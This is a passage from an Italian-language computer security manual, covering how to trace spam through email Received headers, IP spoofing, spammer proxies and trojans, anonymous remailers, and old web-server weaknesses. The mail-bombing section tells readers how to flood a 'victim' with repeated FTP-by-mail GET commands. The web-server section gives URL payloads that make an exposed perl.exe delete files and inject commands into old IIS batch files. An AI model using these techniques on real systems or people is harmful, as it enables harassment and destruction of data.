X-Mailer: Gorilla 3.2 (Win95; I)
96
Subject: Richiesta informazioni sulle vs. iniziative
Il seguito del messaggio è tutto come prima.
Vediamo dunque che è stato inserito nel mezzo un header 'Message-ID:',
mentre è stato inserito in testa un header 'Received:'.
Sul Message-ID non c'è molto da dire: è una specie di numero di matricola
che accompagnerà il messaggio per tutta la vita. La forma usuale di questo campo è del tipo <una-qualsiasi-stringa@nome-host> e l'host che lo genera ne deve solamente garantire l'unicità. Normalmente la stringa non ha alcun
significato, pertanto ai fini che ci interessano questo campo non dà indicazioni
utili.
Ben diverso è il discorso a proposito dell'header 'Received:': questo header ha
finalmente un valore oggettivo, ed è ciò su cui dobbiamo contare per riuscire a
individuare il nostro spammer. Aggiungendo l'header Received: il server che
ha veicolato il messaggio dice, in sostanza: "questo messaggio l'ho trasportato io,
che lo avevo ricevuto dal seguente indirizzo". A pensarci bene, è stato una fortuna il fatto che, quando la rete nacque, fosse una rete militare: nell'impostazione
architetturale e dei protocolli entrò così anche una speciale attenzione alla tracciabilità degli eventi di rete, al fatto che si potesse individuare dove si erano generati e per dove erano passati. Così oggi abbiamo ottime possibilità di risalire
allo spammer: i protocolli di rete stanno dalla nostra parte, e questo gli spammer
sembrano non volerlo capire (peggio per loro!). Ma prendiamo in esame il nostro
header Received:
Received: from mariorossi (ppp26-milano.prima-rete-esempio.com
[194.188.15.26])
by mail.prima-rete-esempio.com (8.8.5/8.8.5) with SMTP id RU387493
for <[email protected]>; Wed, 15 Apr 1998 14:26:32
+0200 (METDST)
Il server che ha inserito l'header dichiara il proprio nome dopo la parola 'by'. Nella sostanza, l'header va letto come segue:
"Questo messaggio è stato ricevuto su mail.prima-rete-esempio.com, proveniente
da qualcuno che si è presentato come mariorossi e che comunque aveva l'indirizzo IP 194.188.15.26. Tale indirizzo risulta corrispondere alla risorsa di nome
ppp26-milano.prima-rete-esempio.com"
(Vedremo più avanti che cosa sia questo nome e come venga ricavato a partire
dall'indirizzo IP.)
97
Premesso che, a seconda di quale software sia in uso sul server, l'header potrebbe
avere anche un aspetto leggermente diverso (cosa che, ovviamente, non ci semplifica la vita), la sintassi riportata nell'esempio è quella più facile a incontrarsi.
Si noti che qui è presente una parola from non seguita dai due punti. Dopo questo from c'è il nome con cui chi ha passato il messaggio al server si è presentato,
per mezzo del comando HELO. Quindi, se questo fosse un messaggio di spam e
dovessimo scoprire da dove viene, potremmo ignorare tranquillamente il mariorossi indicato qui. Ciò che c'è tra parentesi è invece quel che si deve guardare: il
server che ha messo questo header ci assicura di avere ricevuto il messaggio dalla risorsa il cui indirizzo IP è indicato tra parentesi quadre, e di cui è dato anche
il nome. Nell'esempio ho inventato sia il nome che l'indirizzo IP, ma è in effetti
frequente vedere nomi che, da come sono composti, fanno capire che si tratta di
connessioni dial-up. Con un nome come quello dell'esempio si potrà ipotizzare
che l'utente in questione, per inviare il messaggio, si sia connesso al punto di accesso di Milano del suo provider, che gli sia capitato il modem numero 26 e che,
pertanto, gli sia stato assegnato l'indirizzo riportato lì.
Tra le altre cose che vediamo qui c'è una serie di numeri tra parentesi tonde:
(8.8.5/8.8.5). Questo ovviamente non è un indirizzo IP, ma solamente l'indicazione della versione del software installato sul server. Poi c'è 'SMTP id
RU387493'. Questo è un numero di serie che il server ha assegnato alla transazione di inoltro del messaggio in questione. Infine c'è l'indicazione del destinatario e la data/ora.
Ma non è finita. Il server vede che il dominio destinatario è 'seconda-reteesempio.com' e, interrogato il DNS (di cui parleremo tra poco), scopre che il
server a cui passare le e-mail dirette a quel dominio si chiama plutus.secondarete-esempio.com. Ecco allora un altro passaggio, al termine del quale il nostro
messaggio sarà diventato così:
Received: from prima-rete-esempio.com (mail.prima-rete-esempio.com
[194.184.145.216])
by plutus.seconda-rete-esempio.com (8.8.5/8.8.5) with SMTP id
GC502624
for <[email protected]>; Wed, 15 Apr 1998 14:27:15
+0200 (METDST)
Received: from mariorossi (ppp26-milano.prima-rete-esempio.com
[194.188.15.26])
by mail.prima-rete-esempio.com (8.8.5/8.8.5) with SMTP id RU387493
for <[email protected]>; Wed, 15 Apr 1998 14:26:32
+0200 (METDST)
From: [email protected] (Mario Rossi)
To: [email protected]
Date: Wed, 15 Apr 1998 14:24:06 +0200
Message-ID: <[email protected]>
98
X-Mailer: Gorilla 3.2 (Win95; I)
Subject: Richiesta informazioni sulle vs. iniziative
Notate che il successivo server ad avere gestito il messaggio ha aggiunto il proprio 'Received:' in testa. Poniamo ora che la mailbox del destinatario sia su un altro server: occorre un ultimo passaggio. Il server su siamo giunti ora sarà configurato in modo da passare il messaggio alla sua destinazione. Pure l'ultimo
server aggiungerà il suo 'Received:', così quando finalmente il destinatario riceverà la e-mail, si ritroverà qualcosa del genere:
Received: from plutus (plutus.seconda-rete-esempio.com [202.113.12.45])
by mbox-b.seconda-rete-esempio.com (8.8.3/8.7.5) with SMTP id
WH755911
for <[email protected]>; Wed, 15 Apr 1998 14:27:18
+0200 (METDST)
Received: from prima-rete-esempio.com (mail.prima-rete-esempio.com
[194.184.145.216])
by plutus.seconda-rete-esempio.com (8.8.5/8.8.5) with SMTP id
GC502624
for <[email protected]>; Wed, 15 Apr 1998 14:27:15
+0200 (METDST)
Received: from mariorossi (ppp26-milano.prima-rete-esempio.com
[194.188.15.26])
by mail.prima-rete-esempio.com (8.8.5/8.8.5) with SMTP id RU387493
for <[email protected]>; Wed, 15 Apr 1998 14:26:32
+0200 (METDST)
From: [email protected] (Mario Rossi)
To: [email protected]
Date: Wed, 15 Apr 1998 14:24:06 +0200
Message-ID: <[email protected]>
X-Mailer: Gorilla 3.2 (Win95; I)
Subject: Richiesta informazioni sulle vs. iniziative
La morale di questa storia è che, quando si riceve una e-mail, gli unici header significativi per individuarne la provenienza sono i 'Received:'. Occorre trovare,
nel proprio mail client, la modalità per visualizzare tutti gli header (che, normalmente, non vengono presentati all'utente insieme al corpo del vero e proprio
messaggio); quasi tutti i mail client comunque danno la possibilità di vedere gli
header completi anche se, ovviamente, ognuno a modo proprio. Se il vostro
client non vi desse la possibilità di visualizzare gli header completi, cambiatelo:
non potreste fare nulla per difendervi dallo spam. (utilizzando Telnet si vedono
comunque)Se ve li visualizza in forma alterata o comunque pasticciata (qualche
mailreader lo fa nell'inopportuno tentativo di renderli più leggibili), sarebbe bene
99
ugualmente cambiare client al fine di non avere inutili difficoltà nel lavoro di analisi. L'ideale sarebbe un mailreader che consentisse di salvare o copiare in
clipboard il messaggio completo ed in forma semplicemente testuale: tutti gli header, la riga di separazione e il testo.
Una volta messi a nudo gli header, si inizierà a guardare i 'Received:' nell'ordine
in cui compaiono (dall'alto al basso), il che equivale a percorrere la catena dei
server a ritroso, dal ricevente fino al mittente.
E' bene quindi familiarizzare innanzitutto con i primi header che, venendo aggiunti dai server su cui si trova la vostra mailbox, tenderanno ad avere una struttura abbastanza stabile nel tempo, salvo quando il fornitore della mailbox (in generale, ma non necessariamente, il vostro provider) cambiasse per varie ragioni
la configurazione dei propri sistemi. Potreste quindi cominciare col prendere in
esame qualche e-mail che vi sia stato "onestamente" spedito da sistemi e provider differenti da varie persone che conoscete. Confrontate gli header 'Received:'
osservando fino a dove sono simili, da dove iniziano ad essere sensibilmente diversi e come vanno a finire. Già, perchè la catena degli header è significativa soprattutto verso la fine. L'esempio di prima era il più possibile lineare, ma si hanno spesso degli header diversi e non sempre semplici da interpretare. E' opportuno abituarsi anche ad header 'Received:' non significativi inseriti da vari software
che elaborano il messaggio lungo la strada. Per esempio, Qmail inserisce un 'Received:' giusto per dire "ci sono anch'io":
Received: (qmail 10377 invoked from network); 27 Nov 1998 17:57:28 +0100
Raccomanderei comunque che, prima di iniziare a ragionare su veri messaggi di
spam, prendeste confidenza con ciò che si trova nelle e-mail regolari. Questo vi
potrebbe aiutare a fare pratica sapendo già la soluzione.
In che modo vanno letti questi header ?
Abbiamo visto che parecchi header sono decisamente inattendibili perché vengono propagati così come li ha forniti il computer del mittente. Quelli però che
vengono aggiunti dopo hanno la garanzia implicita da parte dei server che li hanno aggiunti, si tratta di capire caso per caso quanto ci si possa fidare di ciascun
server. Per esempio, potrebbe essere che il primo server nella catena dei passaggi
appartenesse pure lui allo spammer; l'header 'Received:' potrebbe in questo caso
essere perfino corretto, ma non sarebbe molto interessante: se abbiamo trovato il
server, a quel punto abbiamo trovato anche lo spammer, l'importante è solo accorgersene. Sembra strano? Beh, gli spammer meglio organizzati sono anche
provider di sè stessi. Si possono pure avere dei casi in cui un normale utente con
connessione dial-up, tanto per confondere le acque, tira su sul proprio pc un
100
server SMTP: se ne trovano anche per Windows, addirittura qualcuno gratuito.
All'altro estremo della catena abbiamo invece gli header messi dal nostro stesso
provider, e questi vivaddio sono attendibili per forza.
Dopo che ho interpretato gli header, riesco a trovare il nome del mittente ?
Poniamo dunque di avere concluso con successo l'interpretazione degli header.
Ciò di cui disponiamo è quindi un indirizzo IP: può essere l'indirizzo al quale si
trovava il mittente o può essere l'indirizzo di un server dietro il quale il mittente
si nascondeva. Inoltre potrebbe succedere, a seconda dei casi, che avessimo pure
un indirizzo di email al quale si sia constatato che risponde il mittente (ovvero un
qualche sconosciuto che si vorrebbe identificare).
Se prendiamo come punto di partenza l'indirizzo IP, quel che si riesce a fare
(come spiegato a pag 28) è identificare la rete alla quale quell'indirizzo è stato
assegnato. Della rete in questione possiamo anche trovare, in molti casi, l'indirizzo, il telefono e i nomi dei responsabili. Nulla però possiamo sapere su chi siano
i loro utenti. Se la rete in questione è un provider per l'utenza privata, è anche
probabile che i suoi indirizzi IP siano assegnati agli utenti in maniera dinamica,
ossia in modo che si succedano nel tempo vari utenti sullo stesso indirizzo. Il
problema è che tutti questi dati, a voi, il provider non li dirà mai.
Quindi in caso di molestie personali via email, se ritenete opportuno sporgere
denuncia potete contare sul fatto che la magistratura è in grado di farsi dare il
nome del molestatore (almeno se il provider in questione è italiano). Se non ci
sono gli estremi per una denuncia, allora il mittente della mail resterà per forza
anonimo.
Se avete un indirizzo di mail di cui vorreste identificare l'utilizzatore, il discorso
non è molto diverso. La parte significativa, quella dopo la chiocciola, può farvi
arrivare ad un server. Chi però acceda ad una certa casella che risiede su quel
server, lo sa solo il provider che lo gestisce, al che (come direbbero i matematici)
ricadiamo nel caso precedente.
La lettura degli header :falsificazioni da riconoscere
Lo spammer può falsificare gli header 'Received:' ?
Sì, ma eventuali header falsificati possono solo essere gli ultimi della catena. Lo
spammer non può impedire che i computer successivi al suo nel trasportare il
messaggio mettano i propri received. Quindi fino ad un certo punto la catena sarà
corretta e attendibile, da quel certo punto potremo, in qualche caso, avere degli
header falsificati, ossia costruiti in modo da assomigliare a header veri e messi lì
101
per confondere le idee. Generalmente il punto in questione si può individuare: c'è
sempre qualcosa che non torna se si esamina il tutto con attenzione.
L'indicazione della provenienza negli header 'Received:' esiste sempre ?
Teoricamente un server potrebbe anche non dichiarare chi è stato a passargli il
messaggio. Quando questo avviene, siamo in presenza o di un anonymous remailer . Esclusi quei pochi sistemi che deliberatamente operano in questo modo
(e che comunque generalmente adottano soluzioni per evitare di lasciarsi abusare
dagli spammer), la probabilità che organizzazioni serie abbiano un server configurato male che faccia da remailer anonimo è praticamente nulla, visti i rischi
niente affatto da ridere che correrebbero (pensate se qualcuno utilizzasse un
server anonimo per perpetrare reati gravi, che so, mandare minacce di morte a
qualcuno o cose del genere).
Per esempio, un Received come il seguente:
Received: from tyuyq by xx.xxxx.ac.za; (8.9.3/1.1.8.2/03Nov94-1202PM)
id MAA22307; Sat, 12 Jun 1999 12:47:39 +0200 (GMT+0200)
indica un sendmail 8.9.3 (che per default dovrebbe produrre dei Received corretti) che, però, usa ancora il file di configurazione (sendmail.cf) versione 1.1.8.2,
creato nel novembre 94. Come si vede, viene riportata solo la non significativa
stringa 'tyuyq' che lo spammer ha inserito nel comando HELO.
Il fatto che, tramite l'HELO, lo spammer abbia modo di inserire una stringa arbitraria entro il Received, rende possibili certi offuscamenti di cui vedremo tra un
attimo un esempio. A volte lo spammer passa come HELO un semplice indirizzo
IP che non c'entra nulla. Altre volte, approfittando di buchi nei software dei mail
server utilizzati, una stringa talmente lunga da impedire l'apparizione delle parti
significative dei Received in questione (di fatto rendendo anonimo un server che,
usato normalmente, non lo sarebbe).
Quando troviamo l'indirizzo IP, possiamo contare che sia giusto o potrebbe
essere falsificato pure quello?
Quanto al fatto che l'indirizzo IP riportato esplicitamente da un mailserver entro
l'header 'Received:' possa essere errato, la risposta è NO, considerate semplicemente che, se interpretando correttamente un Received ,si individua un indirizzo
IP, quell'indirizzo era comunque sicuramente usato dallo spammer.
102
Approfondimento
IP spoofing e spam
Per come funziona il protocollo IP, ogni host che trasmette dati in rete indica in
ogni pacchetto, oltre all'indirizzo IP dell'host che intende raggiungere, anche il
proprio. In teoria è quindi assolutamente possibile che, programmando opportunamente i moduli TCP/IP del proprio software (moduli che generalmente sono
inclusi nel sistema operativo), si possano spedire pacchetti con indirizzi o inesistenti o appartenenti ad altri computer che non c'entrano nulla. Questa pratica è
detta IP spoofing e viene sovente utilizzata in rete per attacchi di tipo denial of
service. Il problema per chi volesse utilizzare l'IP spoofing al fine di mandare
email anonime è che, come si è visto, qualsiasi transazione SMTP richiede interazione tra i due computer coinvolti, interazione che deve avvenire nell'ambito di
una connessione TCP ininterrotta. In altre parole, il computer che spedisce la
mail deve essere in condizioni di ricevere i messaggi del server a cui si è connesso e, a fronte di ogni messaggio ricevuto, inviare il successivo comando che il
protocollo prevede a quel punto. Se ci si è presentati al server con un indirizzo
falso, le risposte del server non potranno essere ricevute, in quanto andranno a
finire o ad un computer realmente esistente chissà dove ma che non se le aspetta
(e che le scarterà), o ad un indirizzo inesistente (andando così ad arricchire il cosidetto "rumore di fondo" della rete globale).
Può quindi sembrare che, per chi tenta l'invio di email con indirizzo mittente
spoofato, la situazione sia semplicemente analoga a quella di chi lavorasse su un
computer a video spento: è difficile ma si può pensare di riuscire almeno a fare
qualche semplice operazione. C'è però di più: il fatto di mantenere una sessione
TCP ininterrotta richiede che tutti i segmenti TCP scambiati tra i due computer
contengano ciascuno un numero di sequenza. Ognuno dei due computer invia all'altro degli ACK, ossia include nei propri segmenti il numero di sequenza che si
aspetta di trovare nel prossimo segmento che riceverà dall'altro host. Se quindi
uno dei due computer non è in grado di ricevere gli ACK dall'altro, non potrà neanche sapere qual è il numero di sequenza da usare nel prossimo segmento, e
quindi non sarà in grado di mantenere la connessione valida.
Possiamo quindi escludere di trovare spam con IP spoofato? A stretto rigore di
termini lo potremmo escludere. Vediamo però cosa può succedere.
Nell'estate 2001 è stato segnalato che certi spammer dispongono di hardware e
software speciali per avvalersi di tecniche di spoofing. Per sintetizzare al massimo, diciamo che lo spammer utilizza un computer con due distinte interfaccie di
rete (per esempio, una scheda di rete e un modem). Questo gli consente di avere,
103
sul medesimo computer, due indirizzi IP forniti da due provider diversi: chiamiamoli IP-1 e IP-2. Tramite IP-1, il software dello spammer entra in contatto
con i server di mail che ha prescelto per veicolare la propria spazzatura, e in ciascun pacchetto che invia a tali server mette l'altro indirizzo, IP-2, come indirizzo
mittente. Pertanto ogni risposta del server di mail viene diretta a IP-2 e quindi,
pur seguendo tutt'un'altra strada attraverso la rete, finisce col giungere allo stesso
computer di partenza. Il software dello spammer resta quindi in grado di accedere ai numeri di sequenza e quant'altro necessario per proseguire correttamente la
sessione tramite IP-1. Il server di mail, dunque, vede soltanto IP-2, ed è quindi
IP-2 che comparirà nei Received.
Se dunque in ogni caso un indirizzo IP usato dallo spammer resta individuabile e
può pertanto essere segnalato all'abuse desk competente, qual è il vantaggio per
lo spammer nell'usare questa tecnica? Semplicemente che IP-1, l'indirizzo che
resta nascosto, usualmente corrisponde ad una connessione costosa e ad alta capacità, una connessione che consente l'invio veloce di mailing di dimensioni enormi e che sarebbe veramente seccante, per lo spammer, vedersi chiudere. Al
contrario, IP-2 può essere una semplice connessione dial-up, poco costosa e che
lo spammer può velocemente rimpiazzare non appena gli venisse chiusa. Un vantaggio quindi non eclatante ma che può essere in certi casi anche molto significativo per lo spammer.
Cosa possiamo fare noi di fronte a questa situazione? Per la verità non molto:
possiamo giusto far saltare allo spammer la connessione su IP-2. Che esista anche l'altra connessione potremmo difficilmente venirlo a sapere, dato che dagli
header effettivamente non risulta.
Può succedere che lo spammer, usando un proxy, riesca ad apparire su un
ip diverso da quello a cui si trova?
Può succedere ed è una pratica che, fin dal 2001, ha iniziato a diventare sempre
più comune. Probabilmente ciò si deve all'arrivo di apposito software per spammer in grado di aprire sessioni SMTP attraverso proxy insicuri. Molti utenti della
rete certamente hanno già sentito parlare di proxy: si tratta di un servizio che tutti
o quasi i provider offrono ai propri clienti e che può essere usato, per esempio,
per navigare il web senza presentare ai siti visitati il proprio vero indirizzo ip. In
pratica, il proxy viene interposto e il sito visitato vede l'ip del proxy, senza poter
conoscere dove sia realmente l'utente. Durante la navigazione, il proxy riceve le
richieste dal browser dell'utente, le passa al server web su cui c'è il sito da visitare e, avuta la risposta, la passa indietro al browser che la aveva richiesta.
104
Possiamo a questo punto osservare che gli spammer fanno anche uso di veri e
propri "cavalli di Troia" per diffondere il loro traffico. Un cavallo di Troia è,
come noto, un programma malizioso che viene eseguito all'insaputa del legittimo
utilizzatore del computer su cui, di solito con l'inganno, è stato impiantato. I trojan, nella maggior parte dei casi, prevedono di essere controllati remotamente, attraverso la rete, da qualcuno che per loro tramite può guadagnare il completo
controllo del computer vittima. Ecco allora che, nel 2003, si è iniziato a sentir
parlare di trojan appositi per spammer, che gli spammer cercano di impiantare
sulle macchine di utenti ignari. Questi trojan, una volta in funzione, contattano
via email lo spammer per informarlo dell'indirizzo ip su cui sono attivi. A questo
punto lo spammer si connette al trojan e lo utilizza come se fosse, ai fini pratici,
un server di posta elettronica. Il risultato è che l'utente infettato, all'oscuro di quel
che gli sta succedendo, diventa suo malgrado un punto di origine di spam, nascondendo il vero indirizzo dello spammer (chi indaga sullo spam esaminando
gli header, può giungere solo all'indirizzo dell'utente infettato).
A questo punto, che significa questa cosa dei proxy (e dei trojan) per chi investiga sullo spam?
Significa che, esaminando gli header come visto nelle pagine precedenti, può
succedere che riusciamo a individuare solo una parte del percorso del messaggio
di spam, quella avvenuta come posta elettronica vera e propria, attraverso transazioni SMTP. Se, al punto di immissione trovato, esiste un proxy aperto, le possibilità di scoprire il vero ip a cui si trovava lo spammer sono assai scarse. Sono
del tutto nulle se si trattava di un trojan.
Il problema viene combattuto dagli antispammer mediante l'uso di blacklist apposite per i proxy insicuri.
105
FONDAMENTI :FakeMail e messaggi anonimi
anonimità
Quando effettuate un'operazione qualsiasi sulla rete, lasciate tracce di voi ovunque.
Questo e` particolarmente vero per il web, in quanto ogniqualvolta ci si collega
ad un server o si inviano dati vengono automaticamente trasmesse informazioni
come: da quale server (e quindi da quale citta`) si sta chiamando, il nome ed il
produttore del programma che si sta usando, quale sistema operativo e` installato
sul vostro PC, il vostro IP address, qual'e`l'ultimo sito visitato, se, quando e
quante volte ci si e` collegati ad un sito, e talvolta anche il proprio indirizzo di email.
cookie
Molti siti utilizzano anche un comodo meccanismo di identificazione messo a disposizione dei browser (Netscape, Internet Explorer, Mosaic) che li aiuta ad identificarvi anche a distanza di tempo, e puo` rivelare loro la frequenza con cui
visitate dei siti, IP address, ed altre informazioni che non vorreste dare. Il file in
questione e` denominato "cookie".
Se usate Netscape lo troverete nella directory del browser con l'innocuo nome di
"cookies.txt". Non e` altro che un semplice file di testo, come questo che state
leggendo. Bastera` eliminarlo dopo ogni collegamento per eliminare le informazioni che esso puo` rivelare. Se utilizzate siti che richiedono accesso con
password puo` darsi che il cookie contenga delle informazioni necessarie al vostro collegamento: in tal caso bastera` editare il file ed eliminare solo le righe che
non contengono il nome del sito in questione.
Un Listserv
Un Listserv e` un programma che invia programmi tramite e-mail nel caso non
si riesca a prelevarlo via FTP.
Se ad esempio sappiamo che nella directory "mieifiles" del server pluto.it c'e` un
file di 20 megabyte il cui nome e` "enorme.gz" possiamo fare in modo che quei
20 MB vengano inviati sotto forma di testo nella e-mail della nostra vittima...
Nell'esempio di cui sopra, dopo aver scritto i primi comandi della FakeMail, arrivati a "Subject:" scriviamo quanto segue:
REPLY [email protected]
CONNECT pluto.it anonymous [email protected]
BINARY
GET mieifiles/enorme.gz
106
QUIT
e concludiamo quindi con le due righe vuote, il punto, QUIT, ecc.
Ecco la spiegazione passo passo:
REPLY indica l'indirizzo e-mail a cui rispondere
CONNECT specifica il nome del provider a cui collegarsi e l'account da usare
BINARY specifica un file di tipo binario (non va cambiato)
GET specifica il nome del file da prelevare (completo di eventuali directory)
QUIT termina la connessione
Ovviamente, se dopo GET anziche` QUIT usiamo altri GET, il risultato sara`
molto piu` dannoso. Nel caso di un file di 20 MB, riscrivendo altre 10volte il
comando "GET ..." verranno mandati un totale di ben 200 megabyte al povero
utente destinatario!
E poiche` i server di e-mail spezzano i messaggi in tanti piccoli messaggi,la vittima riceverebbe migliaia e migliaia di messaggi...
E` un buon motivo per non dare in giro il proprio indirizzo di e-mail, no?
EMAIL E IDENTIFICAZIONE
Per concludere il nostro studio su FakeMail e messaggi anonimi, vedremo ora
come riconoscere una e-mail "vera" da una "falsa", come identificarne (in parte)
l'autore, e come utilizzare i remailer anonimi per un'anonimita` di livello elevatissimo.
Per poter studiare un messaggio dobbiamo necessariamente essere in grado di
leggerne gli "headers" (intestazioni), cioe` quelle righe che iniziano con la parola
"Received:" e simili, che si trovano prima del corpo del messaggio vero e proprio).
Visualizzare gli headers e` semplice: ogni programma di posta elettronica ha un'opzione (in genere nel menu`) per attivare/disattivare la visualizzazione degli
stessi.
Netscape Mail, ad esempio, ha la voce "Show Headers" nel menu` "Options",
mentre con "Internet Explorer" e` necessario cliccare sul titolo dell'e-mail
da analizzare, quindi premere il tasto destro e scegliere l'ultima voce
(Properties, ovvero Proprieta`). Eudora ed altri client hanno una funzione
simile a quella di Netscape Mail (nei menu`).
107
Prendiamo dunque ad esempio questa e-mail, di cui visualizziamo gli headers:
Received: from posta.hackers.it (111.123.33.4) by provider.it via mtad (2.3)
id mx03-Biqmta0276; Mon, 27 Sep 1997 06:45:07 -0600 (MDT)
Received: from america.com ([123.45.67.89]) by posta.hackers.it
(post.office MTA v1.9.3b ID# 0-12345) with SMTP id AAA187
for ; Mon, 27 Sep 1997 14:34:21 +0200
From:
To:
Subject: test...
Analizziamone ora gli headers: il primo (Received) e` lungo due righe, in
quanto ogni header inizia con una parola chiave seguita dai due punti, e nel
secondo rigo non esiste una prima parola, ne` i due punti; ne deduciamo
percio` che e` il seguito della riga superiore.
L'header "Received" ci informa del percorso seguito dall'e-mail da quando e`
stato generato a quando l'abbiamo ricevuto. Normalmente ce n'e` piu` di uno
e sono disposti in ordine inverso (il primo rappresenta l'ultimo computer in
cui e` arrivata l'e-mail - con ogni probabilita` il nostro o quello del
nostro provider - e l'ultimo Received rappresenta il computer "mittente").
Infatti, ogni volta che un server riceve una e-mail, aggiunge un "Received"
in *cima* alle altre intestazioni gia` presenti.
Tornando alla nostra e-mail, vediamo percio` che l'ultimo "Received" ci
informa che il computer america.com ha l'IP Address 123.45.67.89 e ha mandato
questa e-mail al server posta.hackers.it usando SMTP.
Guardando l'header successivo (sopra) notiamo che poi il messaggio e` stato
mandato a sua volta da posta.hackers.it (che vediamo avere un IP Address pari
a 111.123.33.4) a provider.it, che e` il server destinatario (il nostro).
Infatti, se guardiamo l'header "To:" vediamo che destinatario finale e`
[email protected].
Il mittente, stando all'header "From:", dovrebbe essere [email protected]
ma come sincerarsene?
Utilizzando il programma Finger possiamo sapere se l'utente "mittente" esiste
su "america.com", ma utilizzando Finger non possiamo sapere se sia stato
effettivamente lui a mandare il messaggio o meno.
Ricorriamo percio` ancora una volta all'analisi degli header "Received".
Il primo header, quello che ci informa da CHI e` stato inviato il messaggio,
corrisponde all'ultimo header (cioe` al secondo "Received").
Da li` scopriamo che il computer mittente e` america.com con IP 123.45.67.89
108
e dell'IP possiamo essere sicuri... ma non possiamo fidarci di "america.com"
e l'unico modo per sapere se effettivamente Host Name e IP Address coincidono
e` utilizzare un programma DNS. Bastera` inserire l'IP Address per conoscere
l'Host Name ad esso corrispondente.
Questo metodo e` di estrema importanza, in quanto se da un lato non ci
permette di scoprire l'autore, almeno potremo sapere quale computer e` stato
usato per inviare e-mail, news, ecc. Molti provider di posta elettronica
gratuita (come Hotmail e Netaddress) e non, permettono di bloccare l'invio
di e-mail che provengono da un determinato "dominio" (es. provider.it), ma
per farlo e` necessario conoscerne l'Host Name oppure l'IP Address.
Supponiamo ora che anziche` utilizzare e-mail false vogliamo scriverne una
anonima per rispondere a qualcuno senza essere rintracciati, o magari per
partecipare a un Newsgroup in maniera del tutto anonima.
Esiste un servizio, quello dei cosiddetti "remailer", per inviare posta
completamente anonima (senza mittente e senza alcuna traccia di IP Address o
altro).
Usarli nella loro forma piu` semplice (senza criptazione e senza re-routing
multipli) e` facile, basta inviare una normalissima e-mail (con qualsiasi
programma di posta elettronica) all'indirizzo e-mail di un remailer.
Ad esempio, [email protected] (oppure [email protected] o ancora [email protected]) e, PRIMA del messaggio inserire una riga vuota,
una coppia di due punti e altre informazioni, come segue:
::
Request-Remailing-To: [email protected]
Questa e` una prova....
Dunque l'indirizzo del destinatario NON va inserito come destinatario.
Come destinatario useremo l'indirizzo del remailer, mentre quello del vero
destinatario andra` scritto a fianco a "Request-Remailing-To".
Questo e` quanto per le e-mail anonime. Come fare, invece, per inviare
delle news anonime? Seguendo lo stesso procedimento, ma usando come
destinatario un "gateway" (passaggio) mail-news. A cosa serve?
Inviando un messaggio al gateway, questo lo inviera` a sua volta alle news.
Volendo mandare un messaggio al Newsgroup alt.hackers bastera` sostituire
i punti con dei trattini e aggiungere l'indirizzo del gateway (ad esempio
109
cs.utexas.edu) quindi il risultato sara` [email protected] al quale
manderemo il nostro messaggio tramite remailer.
Aggiungiamo ora alcune informazioni per completare il capitolo.
Sul Web esistono vari siti per FakeMail che non registrano IP Address. Uno
molto veloce e` (al momento in cui si scrive) MailMan al seguente indirizzo:
http://www.nettex.com/~thecap/
Per quanto riguarda la posta anonima tramite remailer, ne esistono anche sul
Web. Per chi preferisse le Form ai programmi di posta elettronica bastera`
cercare, come detto prima, dei remailer usando i motori di ricerca.
Un indirizzo tra i piu` affidabili: http://www.replay.com/remailer/
NOTA: questi siti sono attivi non per arrecare danni, ma per fornire un
servizio a quanti vogliono preservare la propria privacy elettronica.
Abusandone potreste mettere voi nei guai, o causare la chiusura del servizio.
Inoltre molti remailer possono negarvi l'accesso al servizio in caso di
proteste da parte di terzi. In altre parole, usate il cervello...
MAILBOX USA E GETTA
Molto spesso la registrazione ad un sito richiede l’inserimento di una e-mail valida su cui ricevere il link di attivazione e, tra l’altro, molto spam. Per evitare
questo problema, possiamo affidarci a un servizio internet che ci fornisce una email usa e getta. Accedendo all’url http://10minutemail.com viene creata una
casella pronta a ricevere posta per 10 minuti. Qualora non bastasse si può prolungare per altri 10 minuti.
110
SICUREZZA SERVER WEB
TECNICHE DI BASE: I WEB SERVER - PARTE 1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Molti metodi usati in passato per hackerare un sito Web si basavano su dei
problemi di sicurezza pre-esistenti causati dalla scarsa competenza dei
Webmaster e dei SysAdmin. Ad esempio, un classico errore era lasciare
programmi che hanno funzione di interpreti di comandi, come ad esempio il
Perl (file perl.exe) accessibili a chiunque tramite Internet.
Dal momento che tali programmi accettano parametri, se avessimo voluto
cancellare l'intero contenuto di una directory avremmo potuto eseguire il
comando di eliminazione semplicemente collegandoci all'URL (indirizzo Web).
Nel nostro esempio, dal momento che il linguaggio in questione e` il Perl,
il comando per eliminare la directory e` "unlink <*>" (senza gli apici).
Per "dire" al Perl di eseguire un comando va usata l'opzione "-e". Il
comando completo sara` quindi: perl.exe -e unlink <*>
Ora supponiamo che il povero Webmaster :) abbia lasciato perl.exe nella
directory cgi-bin (dove si trovano quasi tutti i programmi usati su un sito).
Non dovremo fare altro che collegarci dal nostro browser a questo indirizzo:
http://www.nomesito.com/cgi-bin/perl.exe?-e+unlink+%3C*%3E
Ecco cosa stiamo facendo: http://www.nomesito.com/cgi-bin/perl.exe non e`
altro che l'indirizzo del programma da eseguire; il punto interrogativo ci
consente di passare dei comandi qualsiasi al programma ( gia` visto ricerche google); infine, come gia` detto prima, "-e" dice al Perl di eseguire il comando che
segue.I segni + non sono altro che gli spazi. Poiche` negli URL non si usano
spazi vanno usati i + al loro posto.
Ora troviamo la parola unlink, un altro + (spazio) e poi %3C*%3E ...cos'e`?
Se guardate piu` sopra, vedrete che il comando da eseguire era unlink <*>
Non abbiamo fatto altro che sostituire < con il suo codice ASCII in notazione
esadecimale (3C preceduto da % per indicare che e` un codice ASCII) e lo
stesso abbiamo fatto per > mentre l'asterisco e` rimasto uguale.
Esistono delle regole per "scrivere" un URL: caratteri come / e \
(detti slash e backslash), le parentesi e le virgolette, gli spazi e quasi
tutta la punteggiatura in genere (ad esclusione di + - e pochi altri simboli)
vanno *sempre* sostituiti con il relativo codice ASCII. Tutti gli altri
caratteri possono rimanere invariati.
Dunque quando dovremo scrivere uno dei simboli sopra descritti non bisognera`
fare altro che cercarne il codice in esadecimale e scriverlo al suo posto,
mettendo un simbolo di percentuale prima del codice.
111
Tali codici sono detti di "escape". In modo analogo, un server Web come il Microsoft IIS per Windows (versioni dalla 1.x alla 2.0b) oppure il server di
Windows NT 3.x puo` essere "forzato" ad eseguire dei comandi arbitrari, come
ad esempio:
http://www.nomesito.com/cgi-bin/scrivimi.bat?&dir+c:\+%5Cs
In questo caso scrivimi.bat e` un file batch (.bat).
